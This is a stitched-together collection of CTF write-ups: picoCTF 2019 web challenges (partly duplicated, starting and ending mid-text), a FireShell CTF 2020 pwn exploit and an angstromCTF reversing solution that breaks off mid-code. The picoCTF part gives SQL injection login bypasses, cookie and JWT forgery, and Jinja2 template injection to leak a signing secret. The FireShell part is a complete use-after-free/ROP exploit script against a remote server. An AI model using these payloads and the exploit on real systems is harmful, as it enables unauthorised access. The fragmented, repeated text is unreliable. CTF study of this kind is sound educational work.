4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# FireShell CTF 2020 ## Temporary File System Storage ## Information **Category** | **Points** | **Solves** | **Writeup Author**--- | --- | --- | ---PWN | 500 | 0 | [konata](https://github.com/merrychap) **Description:** >I have wrote an on-demand file storage service, where people may host their "files" temporarily, it works pretty >well and I doubt there are vulnerabilities :)>Machine: Ubuntu 18.04 LTS>You need to always start the server first (when testing locally), enjoy!>Flag is on /flag>Server: 142.93.113.55>Port: 31090 **Files:** [client](./client) [client.remote](./client.remote) [server](./server) [libc](./libc-2.23.so) ## General information Little note: I was not able to solve that task in time of ctf and finished it several hours later. Enjoy. Maybe I will add more details in the near future :) TL;DR. After the crazy reverse part of this challenge (which will not be covered here, heh) it can be noticed that the client has some kind of cache of recenty created files (up to 3). This cache is just and an array of 3 pointers to recently opened files (that are allocated on heap). When 4th file is created, the client clears the cache and leaves pointers to file structs in the cache without zeroing them. It leads to UAF bug and further ROP chain execution. ## Exploit ```pythonimport randomimport string from pwn import * def create_file(pc, filename, format, content=''): pc.sendlineafter('[*] 2 - Edit File', '0') pc.sendlineafter(':', filename) pc.sendlineafter(':', format) pc.sendlineafter(':', str(len(content))) if len(content) != 0: pc.sendafter(':', content) def delete_file(pc): pc.sendlineafter('[*] 2 - Edit File', '1') def edit_file(pc, filename, format): pc.sendlineafter('[*] 2 - Edit File', '2') pc.sendlineafter(':', filename) pc.sendlineafter(':', format) def edit_file_update_content(pc, content=''): pc.sendlineafter('[*] 3 - Exit file editor', '0') pc.sendlineafter(':', str(len(content))) if len(content) != 0: pc.send(content) def edit_file_change_display_format(pc, df): pc.sendlineafter('[*] 3 - Exit file editor', '1') pc.sendlineafter('[*] 1 - HEXDUMP:', str(df)) def edit_file_display_content(pc): pc.sendlineafter('[*] 3 - Exit file editor', '2') def edit_file_exit_file_editor(pc): pc.sendlineafter('[*] 3 - Exit file editor', '3') def create_req( print_fn=0, filename='', filename_len=0, fileformat='', fileformat_len=0, data=0, data_size=0): req = ''.join([ p64(print_fn), filename.ljust(100, '\x00'), p32(0), p64(filename_len), fileformat.ljust(16, '\x00'), p64(fileformat_len), p64(data), p64(data_size) ]) return req def random_string(length=10): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(length)) def main(): client = remote('142.93.113.55', 31090) create_file(client, 'AAAA', 'AAAA') log.info('create req struct with data_len = 0, it leads to heap leak') edit_file(client, 'AAAA', 'AAAA') edit_file_display_content(client) client.recvline() heap = u64(client.recvline()[17:-1].ljust(8, '\x00')) log.success('heap @ ' + hex(heap)) edit_file_exit_file_editor(client) create_file(client, 'BBBB', 'BBBB') create_file(client, 'CCCC', 'CCCC') create_file(client, 'DDDD', 'DDDD') log.info('clear cache and proceed with uaf') filename = '/flag\x00' server_req = (p8(4) + p32(0xdeadbeef) + p8(len(filename)) + filename).ljust(0x30, '\x00') req = create_req( print_fn=0x41414141, filename='FFFF' + p32(0) + server_req, filename_len=4, fileformat='FFFF', fileformat_len=4, data=heap+0x2bf0, data_size=0xa8 ) create_file(client, 'EEEE', 'EEEE', req) log.info('alloc on existing req struct and overwrite it') edit_file(client, 'FFFF', 'FFFF') edit_file_change_display_format(client, 0) edit_file_display_content(client) log.info('leak code address from an existing req struct') client.recvline() code_base = u64(client.recvline()[17:-1].ljust(8, '\x00')) - 0x1f90 write = code_base + 0x1760 read = code_base + 0x1920 mov_rdi_rsp = code_base + 0x5b10 pop_rdi = code_base + 0x3236 pop_rsi = code_base + 0x4b25 pop_rdx = code_base + 0x5b24 log.success('code base @ ' + hex(code_base)) log.success('write @ ' + hex(write)) log.success('read @ ' + hex(read)) rop = ''.join([ # write request to the server p64(pop_rdi), p64(3), p64(pop_rsi), p64(heap+0x2b50), p64(pop_rdx), p64(len(server_req)), p64(write), # read request from server p64(read), p64(pop_rdi), p64(1), p64(write) ]) log.info('rop size = {}'.format(len(rop))) pause() req = create_req( print_fn=mov_rdi_rsp, filename='DDDD' + p32(0) + rop, filename_len=4, fileformat='DDDD', fileformat_len=4, data=heap+0x2bf0+0x10, data_size=0xa8 ) edit_file_update_content(client, req) edit_file_exit_file_editor(client) log.info('overwrite req struct with rop and execute "mov rsp, rdi"') edit_file(client, 'DDDD', 'DDDD') edit_file_display_content(client) log.info('enjoying the flag :)') client.interactive() if __name__ == '__main__': main()``` > Flag: F#{45a7f65bfbba8d5924becfa04e5d139c7098820a}
# A Happy Family (74 solves) > Clam became a parent and had a child. Or at least he dreamed about it. Anyway, clam wrote a program to describe his dream. In fact, he's so happy that he provided source!>> Find it on the shell server at `/problems/2020/a_happy_family`.>> The sha256 hash (no newline) of the correct input is `aa15a7b191ffa943fa602f7472ef294c6b5d138a629ac2bb75cb6ac57bfc3257`.>> Author: aplet123 Solution: First, find all possible n1, n2, n3, n4 (check **find_all_possible** function) Next, apply reverse math on them and convert back to string. Copy those strings that have all printable characters in them. In the end, we have 1 in n1, n2, n3 and 4 in n4 ```pythonfrom itertools import zip_longest, productimport sysfrom struct import *import string alphabet = "angstromctf20"alphabet_st = "0123456789ABC" flags = { 'c1' : 'artomtf2srn00tgm2f', 'c2' : 'ng0fa0mat0tmmmra0c', 'c3' : 'ngnrmcornttnsmgcgr', 'c4' : 'a0fn2rfa00tcgctaot'} def find_all_possible(inp): th_nums = [[alphabet_st[i] for i, y in enumerate(alphabet) if y == x] for x in inp] variants = [''.join(x) for x in product(*th_nums) ] nums = [int(x, 13) for x in variants] return nums def main(): n1 = pack('
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. 